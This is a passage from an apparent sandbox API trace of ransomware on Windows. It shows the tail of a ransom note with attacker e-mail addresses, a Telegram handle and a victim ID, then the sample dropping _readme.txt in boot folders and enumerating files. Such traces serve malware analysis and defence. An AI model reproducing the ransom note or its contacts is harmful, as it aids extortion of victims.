on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.554] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.554] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\_readme.txt" (normalized: "c:\\boot\\hu-hu\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.555] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.555] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.555] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.555] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.555] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.555] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.555] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.555] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.555] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.555] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.555] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.555] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.555] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.555] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.555] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.555] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.561] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.561] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.561] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.561] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.561] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.561] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.561] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.561] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.561] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.561] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.561] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.561] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.561] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.561] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.561] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.561] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.561] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.561] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.561] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.561] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.561] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.561] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.561] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.561] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.561] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.561] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.561] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.561] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.561] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.561] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.561] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.561] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.561] 